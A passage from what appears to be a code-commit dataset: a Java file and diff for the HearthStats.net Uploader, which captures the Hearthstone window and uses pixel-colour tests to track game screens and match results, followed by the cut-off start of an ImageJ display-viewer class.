<add> return matchList.toArray(new String[0]);
<add> }
<ide>
<ide> protected List<TextMessage> getAllMessages(MessageConsumer mc) throws JMSException {
<ide> TextMessage msg = null; |
|
Java | bsd-3-clause | f8521a7a05410e56c0472f8e12f3a3394dd3d0ce | 0 | HearthStats/HearthStats.net-Uploader,HearthStats/HearthStats.net-Uploader | package net.hearthstats;
import jna.*;
import jna.extra.GDI32Extra;
import jna.extra.User32Extra;
import jna.extra.WinGDIExtra;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.Rectangle;
import java.awt.image.BufferedImage;
import java.awt.image.PixelGrabber;
import java.io.File;
import java.io.IOException;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.Callable;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
import javax.imageio.ImageIO;
import javax.management.Notification;
import javax.swing.ImageIcon;
import javax.swing.JApplet;
import javax.swing.JFrame;
import javax.swing.JPanel;
import sun.java2d.pipe.PixelFillPipe;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.GDI32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinGDI;
import com.sun.jna.platform.win32.WinDef.HBITMAP;
import com.sun.jna.platform.win32.WinDef.HDC;
import com.sun.jna.platform.win32.WinDef.HWND;
import com.sun.jna.platform.win32.WinDef.RECT;
import com.sun.jna.platform.win32.WinGDI.BITMAPINFO;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.platform.win32.WinUser.WNDENUMPROC;
public class Monitor extends JFrame {
public static void start() throws JnaUtilException, IOException {
Image icon = new ImageIcon("images/icon.png").getImage();
f.setIconImage(icon);
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f.setLocation(0, 0);
f.setVisible(true);
_poll();
}
protected static String _gameMode;
protected static String _currentScreen;
protected static String _yourClass;
protected static String _opponentClass;
protected static String _result;
protected static boolean _coin = false;
protected static boolean _hearthstoneDetected;
protected static ScheduledExecutorService scheduledExecutorService = Executors
.newScheduledThreadPool(5);
protected static JFrame f = new JFrame();
protected static boolean _drawPaneAdded = false;
protected static BufferedImage image;
protected static JPanel _drawPane = new JPanel() {
@Override
protected void paintComponent(Graphics g) {
super.paintComponent(g);
g.drawImage(image, 0, 0, null);
}
};
protected static boolean _testForMatchStart() {
boolean passed = false;
int[][] tests = {
{403, 487, 201, 173, 94}, // title bar
{946, 149, 203, 174, 96} // bottom bar
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Match Start") {
_coin = false;
_notify("Match Start detected");
passed = true;
}
_currentScreen = "Match Start";
}
return passed;
}
protected static boolean _testForFindingOpponent() {
boolean passed = false;
int[][] tests = {
{401, 143, 180, 122, 145}, // title bar
{765, 583, 121, 72, 100} // bottom bar
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Finding Opponent") {
_coin = false;
_notify("Finding Opponent detected");
passed = true;
}
_currentScreen = "Finding Opponent";
}
return passed;
}
protected static void _testForPlayingScreen() {
// check for normal play boards
int[][] tests = {
{336, 203, 231, 198, 124},
{763, 440, 234, 198, 124}
};
PixelGroupTest normalPxTest = new PixelGroupTest(image, tests);
// check for lighter orc board
int[][] orcBoardTests = {
{906, 283, 222, 158, 94},
{120, 468, 195, 134, 78}
};
PixelGroupTest orcPxTest = new PixelGroupTest(image, orcBoardTests);
if(normalPxTest.passed() || orcPxTest.passed()) {
if(_currentScreen != "Playing") {
_notify("Playing detected");
}
_currentScreen = "Playing";
}
}
protected static boolean _testForPlayModeScreen() {
boolean passed = false;
int[][] tests = {
{543, 130, 121, 32, 22}, // play mode red background
{254, 33, 197, 173, 132} // mode title light brown background
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Play") {
_notify("Play mode detected");
passed = true;
}
_currentScreen = "Play";
}
return passed;
}
protected static boolean _testForMainMenuScreen() {
boolean passed = false;
int[][] tests = {
{338, 453, 159, 96, 42}, // box top
{211, 658, 228, 211, 116} // quest button exclamation mark
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Main Menu") {
_notify("Main menu detected");
passed = true;
}
_currentScreen = "Main Menu";
}
return passed;
}
protected static void _testForRankedMode() {
int[][] tests = {
{833, 88, 220, 255, 255}, // ranked blue
{698, 120, 56, 16, 8} // casual off
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_gameMode != "Ranked") {
_notify("Rank mode detected");
}
_gameMode = "Ranked";
}
}
protected static NotificationQueue _notificationQueue = new NotificationQueue();
protected static void _notify(String header) {
_notify(header, "");
}
protected static void _notify(String header, String message) {
_notificationQueue.add(new net.hearthstats.Notification(header, message));
}
protected static void _testForCoin() {
int[][] tests = {
{709, 317, 110, 254, 70} // fourth card left edge
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
_notify("Coin detected");
_coin = true;
}
}
protected static void _testForDefeat() {
int[][] tests = {
{745, 219, 164, 162, 155},
{344, 383, 134, 153, 239},
{696, 357, 201, 197, 188}
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
int[][] testsTwo = {
{347, 382, 129, 148, 236},
{275, 345, 137, 138, 134},
{537, 155, 235, 226, 67}
};
PixelGroupTest pxTestTwo = new PixelGroupTest(image, testsTwo);
if(pxTest.passed() || pxTestTwo.passed()) {
_notify("Defeat detected");
_result = "Defeat";
}
}
protected static void _testForCasualMode() {
int[][] tests = {
{833, 94, 100, 22, 16}, // ranked off
{698, 128, 200, 255, 255} // casual blue
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_gameMode != "Casual") {
_notify("Casual mode detected");
}
_gameMode = "Casual";
}
}
protected static void _testForClass(String className, int[][] pixelTests, boolean isYours) {
PixelGroupTest pxTest = new PixelGroupTest(image, pixelTests);
if(pxTest.passed()) {
if(isYours) {
_yourClass = className;
_notify("Playing as " + _yourClass);
} else {
_opponentClass = className;
_notify("Playing VS. " + _opponentClass);
}
}
}
protected static void _testForYourClass() {
// Druid Test
int[][] druidTests = {
{225, 480, 210, 255, 246},
{348, 510, 234, 255, 251},
{237, 607, 193, 155, 195}
};
_testForClass("Druid", druidTests, true);
// Hunter Test
int[][] hunterTests = {
{289, 438, 173, 161, 147},
{366, 554, 250, 200, 81},
{210, 675, 209, 209, 211}
};
_testForClass("Hunter", hunterTests, true);
// Mage Test
int[][] mageTests = {
{259, 439, 96, 31, 102},
{294, 677, 219, 210, 193},
{216, 591, 0, 0, 56}
};
_testForClass("Mage", mageTests, true);
// Rogue Test
int[][] rogueTests = {
{309, 446, 91, 107, 175},
{291, 468, 187, 37, 25},
{362, 623, 122, 186, 67}
};
_testForClass("Rogue", rogueTests, true);
}
protected static void _testForOpponentClass() {
// Druid Test
int[][] druidTests = {
{743, 118, 205, 255, 242},
{882, 141, 231, 255, 252},
{766, 215, 203, 160, 198}
};
_testForClass("Druid", druidTests, false);
// Priest Test
int[][] priestTests = {
{724, 189, 255, 236, 101},
{796, 243, 58, 72, 138},
{882, 148, 27, 20, 38}
};
_testForClass("Priest", priestTests, false);
}
protected static void _updateTitle() {
String title = "HearthStats.net Uploader";
if(_hearthstoneDetected) {
if(_currentScreen != null) {
title += " - " + _currentScreen;
if(_currentScreen == "Play" && _gameMode != null) {
title += " " + _gameMode;
}
if(_currentScreen == "Finding Opponent") {
if(_gameMode != null) {
title += " for " + _gameMode + " game";
}
}
if(_currentScreen == "Match Start" || _currentScreen == "Playing") {
if(_gameMode != null) {
title += " " + _gameMode;
}
if(_coin) {
title += " Coin";
} else {
title += " No Coin";
}
if(_yourClass != null) {
title += " " + _yourClass;
}
if(_opponentClass != null) {
title += " VS. " + _opponentClass;
}
}
}
} else {
title += " - Waiting for Hearthstone ";
title += Math.random() > 0.33 ? ".." : "...";
f.setSize(600, 200);
}
f.setTitle(title);
}
protected static void _drawImageFrame() {
if (!_drawPaneAdded) {
f.add(_drawPane);
}
_drawPane.repaint();
f.invalidate();
f.validate();
f.repaint();
}
protected static boolean _updateImage() throws JnaUtilException, IOException {
Pointer hWnd = JnaUtil.getWinHwnd("Hearthstone");
String windowText = JnaUtil.getWindowText(hWnd).toString();
if(windowText.matches("Hearthstone")) {
Rectangle rect = JnaUtil.getWindowRect(hWnd);
// make sure the window is completely open before trying to capture the image
if(rect.width >= 1024) {
f.setSize(rect.width, rect.height);
image = capture(User32.INSTANCE.FindWindow(null, "Hearthstone"));
return true;
}
}
return false;
}
protected static void _submitMatchResult() {
String header = "Submitting match result";
String message = _gameMode + " game " + (_coin ? "" : "no ") + "coin " +
_yourClass + " VS. " + _opponentClass + " " + _result;
_notify(header, message);
}
protected static void _detectStates() {
// main menu
if(_currentScreen != "Main Menu") {
_testForMainMenuScreen();
}
// play mode screen
if(_currentScreen == "Play") {
if(_currentScreen != "Finding Opponent") {
_testForFindingOpponent();
_testForRankedMode();
_testForCasualMode();
}
} else {
_testForPlayModeScreen();
}
// finding opponent window
if(_currentScreen == "Finding Opponent") {
_testForMatchStart();
_coin = false; // reset to no coin
_yourClass = null; // reset your class to unknown
_opponentClass = null; // reset opponent class to unknown
_result = null; // reset result to unknown
}
// match start and setup (mulligan phase)
if(_currentScreen == "Match Start") {
if(!_coin) {
_testForCoin();
}
if(_yourClass == null) {
_testForYourClass();
}
if(_opponentClass == null) {
_testForOpponentClass();
}
_testForPlayingScreen();
}
// playing a game
if(_currentScreen == "Playing") {
// listen for victory or defeat
if(_result == null) {
_testForDefeat();
} else {
// submit game once result is found
_currentScreen = "Result";
_submitMatchResult();
}
}
}
@SuppressWarnings("unchecked")
protected static void _poll() {
try {
scheduledExecutorService.schedule(
new Callable() {
public Object call() throws Exception {
if(_updateImage()) {
if(_hearthstoneDetected != true) {
_hearthstoneDetected = true;
_notify("Hearthstone found");
}
_detectStates();
_drawImageFrame();
} else {
if(_hearthstoneDetected) {
_hearthstoneDetected = false;
_notify("Hearthstone closed");
f.getContentPane().removeAll();
_drawPaneAdded = false;
}
}
_updateTitle();
try {
_poll();
} catch(Exception e) {
boolean foo = true;
}
return "Called!";
}
}, 200, TimeUnit.MILLISECONDS);
} catch(Exception e) {
boolean foo = true;
}
}
protected static BufferedImage capture(HWND hWnd) {
HDC hdcWindow = User32.INSTANCE.GetDC(hWnd);
HDC hdcMemDC = GDI32.INSTANCE.CreateCompatibleDC(hdcWindow);
RECT bounds = new RECT();
User32Extra.INSTANCE.GetClientRect(hWnd, bounds);
int width = bounds.right - bounds.left;
int height = bounds.bottom - bounds.top;
HBITMAP hBitmap = GDI32.INSTANCE.CreateCompatibleBitmap(hdcWindow,
width, height);
HANDLE hOld = GDI32.INSTANCE.SelectObject(hdcMemDC, hBitmap);
GDI32Extra.INSTANCE.BitBlt(hdcMemDC, 0, 0, width, height, hdcWindow, 0,
0, WinGDIExtra.SRCCOPY);
GDI32.INSTANCE.SelectObject(hdcMemDC, hOld);
GDI32.INSTANCE.DeleteDC(hdcMemDC);
BITMAPINFO bmi = new BITMAPINFO();
bmi.bmiHeader.biWidth = width;
bmi.bmiHeader.biHeight = -height;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = WinGDI.BI_RGB;
Memory buffer = new Memory(width * height * 4);
GDI32.INSTANCE.GetDIBits(hdcWindow, hBitmap, 0, height, buffer, bmi,
WinGDI.DIB_RGB_COLORS);
BufferedImage image = new BufferedImage(width, height,
BufferedImage.TYPE_INT_RGB);
image.setRGB(0, 0, width, height,
buffer.getIntArray(0, width * height), 0, width);
GDI32.INSTANCE.DeleteObject(hBitmap);
User32.INSTANCE.ReleaseDC(hWnd, hdcWindow);
return image;
}
}
| src/net/hearthstats/Monitor.java | package net.hearthstats;
import jna.*;
import jna.extra.GDI32Extra;
import jna.extra.User32Extra;
import jna.extra.WinGDIExtra;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.Rectangle;
import java.awt.image.BufferedImage;
import java.awt.image.PixelGrabber;
import java.io.File;
import java.io.IOException;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.Callable;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
import javax.imageio.ImageIO;
import javax.management.Notification;
import javax.swing.ImageIcon;
import javax.swing.JApplet;
import javax.swing.JFrame;
import javax.swing.JPanel;
import sun.java2d.pipe.PixelFillPipe;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.GDI32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinGDI;
import com.sun.jna.platform.win32.WinDef.HBITMAP;
import com.sun.jna.platform.win32.WinDef.HDC;
import com.sun.jna.platform.win32.WinDef.HWND;
import com.sun.jna.platform.win32.WinDef.RECT;
import com.sun.jna.platform.win32.WinGDI.BITMAPINFO;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.platform.win32.WinUser.WNDENUMPROC;
public class Monitor extends JFrame {
public static void start() throws JnaUtilException, IOException {
Image icon = new ImageIcon("images/icon.png").getImage();
f.setIconImage(icon);
f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
f.setLocation(0, 0);
f.setVisible(true);
_poll();
}
protected static String _gameMode;
protected static String _currentScreen;
protected static String _yourClass;
protected static String _opponentClass;
protected static String _result;
protected static boolean _coin = false;
protected static boolean _hearthstoneDetected;
protected static ScheduledExecutorService scheduledExecutorService = Executors
.newScheduledThreadPool(5);
protected static JFrame f = new JFrame();
protected static boolean _drawPaneAdded = false;
protected static BufferedImage image;
protected static JPanel _drawPane = new JPanel() {
@Override
protected void paintComponent(Graphics g) {
super.paintComponent(g);
g.drawImage(image, 0, 0, null);
}
};
protected static boolean _testForMatchStart() {
boolean passed = false;
int[][] tests = {
{403, 487, 201, 173, 94}, // title bar
{946, 149, 203, 174, 96} // bottom bar
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Match Start") {
_coin = false;
_notify("Match Start detected");
passed = true;
}
_currentScreen = "Match Start";
}
return passed;
}
protected static boolean _testForFindingOpponent() {
boolean passed = false;
int[][] tests = {
{401, 143, 180, 122, 145}, // title bar
{765, 583, 121, 72, 100} // bottom bar
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Finding Opponent") {
_coin = false;
_notify("Finding Opponent detected");
passed = true;
}
_currentScreen = "Finding Opponent";
}
return passed;
}
protected static void _testForPlayingScreen() {
// check for normal play boards
int[][] tests = {
{336, 203, 231, 198, 124},
{763, 440, 234, 198, 124}
};
PixelGroupTest normalPxTest = new PixelGroupTest(image, tests);
// check for lighter orc board
int[][] orcBoardTests = {
{906, 283, 222, 158, 94},
{120, 468, 195, 134, 78}
};
PixelGroupTest orcPxTest = new PixelGroupTest(image, orcBoardTests);
if(normalPxTest.passed() || orcPxTest.passed()) {
if(_currentScreen != "Playing") {
_notify("Playing detected");
}
_currentScreen = "Playing";
}
}
protected static boolean _testForPlayModeScreen() {
boolean passed = false;
int[][] tests = {
{543, 130, 121, 32, 22}, // play mode red background
{254, 33, 197, 173, 132} // mode title light brown background
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Play") {
_notify("Play mode detected");
passed = true;
}
_currentScreen = "Play";
}
return passed;
}
protected static boolean _testForMainMenuScreen() {
boolean passed = false;
int[][] tests = {
{338, 453, 159, 96, 42}, // box top
{211, 658, 228, 211, 116} // quest button exclamation mark
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_currentScreen != "Main Menu") {
_notify("Main menu detected");
passed = true;
}
_currentScreen = "Main Menu";
}
return passed;
}
protected static void _testForRankedMode() {
int[][] tests = {
{833, 88, 220, 255, 255}, // ranked blue
{698, 120, 56, 16, 8} // casual off
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_gameMode != "Ranked") {
_notify("Rank mode detected");
}
_gameMode = "Ranked";
}
}
protected static NotificationQueue _notificationQueue = new NotificationQueue();
protected static void _notify(String header) {
_notify(header, "");
}
protected static void _notify(String header, String message) {
_notificationQueue.add(new net.hearthstats.Notification(header, message));
}
protected static void _testForCoin() {
int[][] tests = {
{709, 317, 110, 254, 70} // fourth card left edge
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
_notify("Coin detected");
_coin = true;
}
}
protected static void _testForDefeat() {
int[][] tests = {
{745, 219, 164, 162, 155},
{344, 383, 134, 153, 239},
{696, 357, 201, 197, 188}
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
int[][] testsTwo = {
{347, 382, 129, 148, 236},
{275, 345, 137, 138, 134},
{537, 155, 235, 226, 67}
};
PixelGroupTest pxTestTwo = new PixelGroupTest(image, testsTwo);
if(pxTest.passed() || pxTestTwo.passed()) {
_notify("Defeat detected");
_result = "Defeat";
}
}
protected static void _testForCasualMode() {
int[][] tests = {
{833, 94, 100, 22, 16}, // ranked off
{698, 128, 200, 255, 255} // casual blue
};
PixelGroupTest pxTest = new PixelGroupTest(image, tests);
if(pxTest.passed()) {
if(_gameMode != "Casual") {
_notify("Casual mode detected");
}
_gameMode = "Casual";
}
}
protected static void _testForClass(String className, int[][] pixelTests, boolean isYours) {
PixelGroupTest pxTest = new PixelGroupTest(image, pixelTests);
if(pxTest.passed()) {
if(isYours) {
_yourClass = className;
_notify("Playing as " + _yourClass);
} else {
_opponentClass = className;
_notify("Playing VS. " + _opponentClass);
}
}
}
protected static void _testForYourClass() {
// Druid Test
int[][] druidTests = {
{225, 480, 210, 255, 246},
{348, 510, 234, 255, 251},
{237, 607, 193, 155, 195}
};
_testForClass("Druid", druidTests, true);
// Hunter Test
int[][] hunterTests = {
{289, 438, 173, 161, 147},
{366, 554, 250, 200, 81},
{210, 675, 209, 209, 211}
};
_testForClass("Hunter", hunterTests, true);
// Mage Test
int[][] mageTests = {
{259, 439, 96, 31, 102},
{294, 677, 219, 210, 193},
{216, 591, 0, 0, 56}
};
_testForClass("Mage", mageTests, true);
// Rogue Test
int[][] rogueTests = {
{309, 446, 91, 107, 175},
{291, 468, 187, 37, 25},
{362, 623, 122, 186, 67}
};
_testForClass("Rogue", rogueTests, true);
}
protected static void _testForOpponentClass() {
// Druid Test
int[][] druidTests = {
{743, 118, 205, 255, 242},
{882, 141, 231, 255, 252},
{766, 215, 203, 160, 198}
};
_testForClass("Druid", druidTests, false);
// Priest Test
int[][] priestTests = {
{724, 189, 255, 236, 101},
{796, 243, 58, 72, 138},
{882, 148, 27, 20, 38}
};
_testForClass("Priest", priestTests, false);
}
protected static void _updateTitle() {
String title = "HearthStats.net Uploader";
if(_hearthstoneDetected) {
if(_currentScreen != null) {
title += " - " + _currentScreen;
if((_currentScreen == "Play" || _currentScreen == "Playing")&& _gameMode != null) {
title += " " + _gameMode;
}
if(_currentScreen == "Match Start") {
if(_coin) {
title += " Coin";
} else {
title += " No Coin";
}
if(_yourClass != null) {
title += " " + _yourClass;
}
}
if(_currentScreen == "Finding Opponent") {
if(_gameMode != null) {
title += " for " + _gameMode + " game";
}
}
if(_currentScreen == "Playing") {
if(_coin) {
title += " Coin";
} else {
title += " No Coin";
}
if(_yourClass != null) {
title += _yourClass;
}
if(_opponentClass != null) {
title += " VS. " + _opponentClass;
}
}
}
} else {
title += " - Waiting for Hearthstone ";
title += Math.random() > 0.33 ? ".." : "...";
f.setSize(600, 200);
}
f.setTitle(title);
}
protected static void _drawImageFrame() {
if (!_drawPaneAdded) {
f.add(_drawPane);
}
_drawPane.repaint();
f.invalidate();
f.validate();
f.repaint();
}
protected static boolean _updateImage() throws JnaUtilException, IOException {
Pointer hWnd = JnaUtil.getWinHwnd("Hearthstone");
String windowText = JnaUtil.getWindowText(hWnd).toString();
if(windowText.matches("Hearthstone")) {
Rectangle rect = JnaUtil.getWindowRect(hWnd);
// make sure the window is completely open before trying to capture the image
if(rect.width >= 1024) {
f.setSize(rect.width, rect.height);
image = capture(User32.INSTANCE.FindWindow(null, "Hearthstone"));
return true;
}
}
return false;
}
protected static void _submitMatchResult() {
String header = "Submitting match result";
String message = _gameMode + " game " + (_coin ? "" : "no ") + "coin " +
_yourClass + " VS. " + _opponentClass + " " + _result;
_notify(header, message);
}
protected static void _detectStates() {
// main menu
if(_currentScreen != "Main Menu") {
_testForMainMenuScreen();
}
// play mode screen
if(_currentScreen == "Play") {
if(_currentScreen != "Finding Opponent") {
_testForFindingOpponent();
_testForRankedMode();
_testForCasualMode();
}
} else {
_testForPlayModeScreen();
}
// finding opponent window
if(_currentScreen == "Finding Opponent") {
_testForMatchStart();
_coin = false; // reset to no coin
_yourClass = null; // reset your class to unknown
_opponentClass = null; // reset opponent class to unknown
_result = null; // reset result to unknown
}
// match start and setup (mulligan phase)
if(_currentScreen == "Match Start") {
if(!_coin) {
_testForCoin();
}
if(_yourClass == null) {
_testForYourClass();
}
if(_opponentClass == null) {
_testForOpponentClass();
}
_testForPlayingScreen();
}
// playing a game
if(_currentScreen == "Playing") {
// listen for victory or defeat
if(_result == null) {
_testForDefeat();
} else {
// submit game once result is found
_currentScreen = "Result";
_submitMatchResult();
}
}
}
@SuppressWarnings("unchecked")
protected static void _poll() {
try {
scheduledExecutorService.schedule(
new Callable() {
public Object call() throws Exception {
if(_updateImage()) {
if(_hearthstoneDetected != true) {
_hearthstoneDetected = true;
_notify("Hearthstone found");
}
_detectStates();
_drawImageFrame();
} else {
if(_hearthstoneDetected) {
_hearthstoneDetected = false;
_notify("Hearthstone closed");
f.getContentPane().removeAll();
_drawPaneAdded = false;
}
}
_updateTitle();
try {
_poll();
} catch(Exception e) {
boolean foo = true;
}
return "Called!";
}
}, 200, TimeUnit.MILLISECONDS);
} catch(Exception e) {
boolean foo = true;
}
}
protected static BufferedImage capture(HWND hWnd) {
HDC hdcWindow = User32.INSTANCE.GetDC(hWnd);
HDC hdcMemDC = GDI32.INSTANCE.CreateCompatibleDC(hdcWindow);
RECT bounds = new RECT();
User32Extra.INSTANCE.GetClientRect(hWnd, bounds);
int width = bounds.right - bounds.left;
int height = bounds.bottom - bounds.top;
HBITMAP hBitmap = GDI32.INSTANCE.CreateCompatibleBitmap(hdcWindow,
width, height);
HANDLE hOld = GDI32.INSTANCE.SelectObject(hdcMemDC, hBitmap);
GDI32Extra.INSTANCE.BitBlt(hdcMemDC, 0, 0, width, height, hdcWindow, 0,
0, WinGDIExtra.SRCCOPY);
GDI32.INSTANCE.SelectObject(hdcMemDC, hOld);
GDI32.INSTANCE.DeleteDC(hdcMemDC);
BITMAPINFO bmi = new BITMAPINFO();
bmi.bmiHeader.biWidth = width;
bmi.bmiHeader.biHeight = -height;
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = WinGDI.BI_RGB;
Memory buffer = new Memory(width * height * 4);
GDI32.INSTANCE.GetDIBits(hdcWindow, hBitmap, 0, height, buffer, bmi,
WinGDI.DIB_RGB_COLORS);
BufferedImage image = new BufferedImage(width, height,
BufferedImage.TYPE_INT_RGB);
image.setRGB(0, 0, width, height,
buffer.getIntArray(0, width * height), 0, width);
GDI32.INSTANCE.DeleteObject(hBitmap);
User32.INSTANCE.ReleaseDC(hWnd, hdcWindow);
return image;
}
}
| Monitor window title improvements
| src/net/hearthstats/Monitor.java | Monitor window title improvements | <ide><path>rc/net/hearthstats/Monitor.java
<ide> if(_hearthstoneDetected) {
<ide> if(_currentScreen != null) {
<ide> title += " - " + _currentScreen;
<del> if((_currentScreen == "Play" || _currentScreen == "Playing")&& _gameMode != null) {
<add> if(_currentScreen == "Play" && _gameMode != null) {
<ide> title += " " + _gameMode;
<ide> }
<del> if(_currentScreen == "Match Start") {
<add> if(_currentScreen == "Finding Opponent") {
<add> if(_gameMode != null) {
<add> title += " for " + _gameMode + " game";
<add> }
<add> }
<add> if(_currentScreen == "Match Start" || _currentScreen == "Playing") {
<add> if(_gameMode != null) {
<add> title += " " + _gameMode;
<add> }
<ide> if(_coin) {
<ide> title += " Coin";
<ide> } else {
<ide> }
<ide> if(_yourClass != null) {
<ide> title += " " + _yourClass;
<del> }
<del> }
<del> if(_currentScreen == "Finding Opponent") {
<del> if(_gameMode != null) {
<del> title += " for " + _gameMode + " game";
<del> }
<del> }
<del> if(_currentScreen == "Playing") {
<del> if(_coin) {
<del> title += " Coin";
<del> } else {
<del> title += " No Coin";
<del> }
<del> if(_yourClass != null) {
<del> title += _yourClass;
<ide> }
<ide> if(_opponentClass != null) {
<ide> title += " VS. " + _opponentClass; |
|
Java | bsd-2-clause | 734b05e49732902facf768709498213b7b6c1e9c | 0 | biovoxxel/imagej,TehSAUCE/imagej,TehSAUCE/imagej,biovoxxel/imagej,TehSAUCE/imagej,biovoxxel/imagej | /*
* #%L
* ImageJ software for multidimensional image processing and analysis.
* %%
* Copyright (C) 2009 - 2012 Board of Regents of the University of
* Wisconsin-Madison, Broad Institute of MIT and Harvard, and Max Planck
* Institute of Molecular Cell Biology and Genetics.
* %%
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The views and conclusions contained in the software and documentation are
* those of the authors and should not be interpreted as representing official
* policies, either expressed or implied, of any organization.
* #L%
*/
package imagej.data.display.ui;
import imagej.data.Data;
import imagej.data.Dataset;
import imagej.data.Position;
import imagej.data.display.DataView;
import imagej.data.display.ImageDisplay;
import imagej.data.display.ImageDisplayService;
import imagej.data.display.event.AxisPositionEvent;
import imagej.data.display.event.ZoomEvent;
import imagej.data.event.DatasetRestructuredEvent;
import imagej.data.event.DatasetTypeChangedEvent;
import imagej.event.EventHandler;
import imagej.event.EventSubscriber;
import imagej.ext.display.Display;
import imagej.ext.display.event.window.WinActivatedEvent;
import imagej.ext.display.ui.AbstractDisplayViewer;
import imagej.ext.display.ui.DisplayWindow;
import imagej.ext.tool.ToolService;
import imagej.util.UnitUtils;
import java.util.List;
import net.imglib2.meta.Axes;
import net.imglib2.meta.AxisType;
/**
* The AbstractImageDisplayViewer implements the gui-independent elements of an
* image display viewer. It subscribes to the events of its controlled display
* and distills these into abstract lifecycle actions.
*
* @author Lee Kamentsky
*/
public abstract class AbstractImageDisplayViewer extends
AbstractDisplayViewer<DataView> implements ImageDisplayViewer
{
protected enum ZoomScaleOption {
OPTIONS_PERCENT_SCALE, OPTIONS_FRACTIONAL_SCALE
}
@SuppressWarnings("unused")
private List<EventSubscriber<?>> subscribers;
// -- ImageDisplayViewer methods --
@Override
public ImageDisplay getImageDisplay() {
assert getDisplay() instanceof ImageDisplay;
return (ImageDisplay) getDisplay();
}
// -- DisplayViewer methods --
@Override
public boolean canView(final Display<?> d) {
return d instanceof ImageDisplay;
}
@Override
public void view(final DisplayWindow w, final Display<?> d) {
super.view(w, d);
this.window = w;
assert d instanceof ImageDisplay;
subscribers = getEventService().subscribe(this);
}
// -- Internal AbstractImageDisplayViewer methods --
protected Dataset getDataset(final DataView view) {
final Data data = view.getData();
return data instanceof Dataset ? (Dataset) data : null;
}
/**
* Recalculate the label text and update it on the panel.
*/
protected void updateLabel() {
if (getImageDisplay().getActiveView() != null) {
getPanel().setLabel(makeLabel());
}
}
/**
* Implement this in the derived class to get the user's preference for
* displaying zoom scale (as a fraction or percent)
*
* @return {@link ZoomScaleOption#OPTIONS_PERCENT_SCALE} or
* {@link ZoomScaleOption#OPTIONS_FRACTIONAL_SCALE}
*/
protected abstract ZoomScaleOption getZoomScaleOption();
// -- Helper methods --
/** Makes some informative label text by inspecting the views. */
private String makeLabel() {
// CTR TODO - Fix window label to show beyond just the active view.
final DataView view = getImageDisplay().getActiveView();
final Dataset dataset = getDataset(view);
final int xIndex = dataset.getAxisIndex(Axes.X);
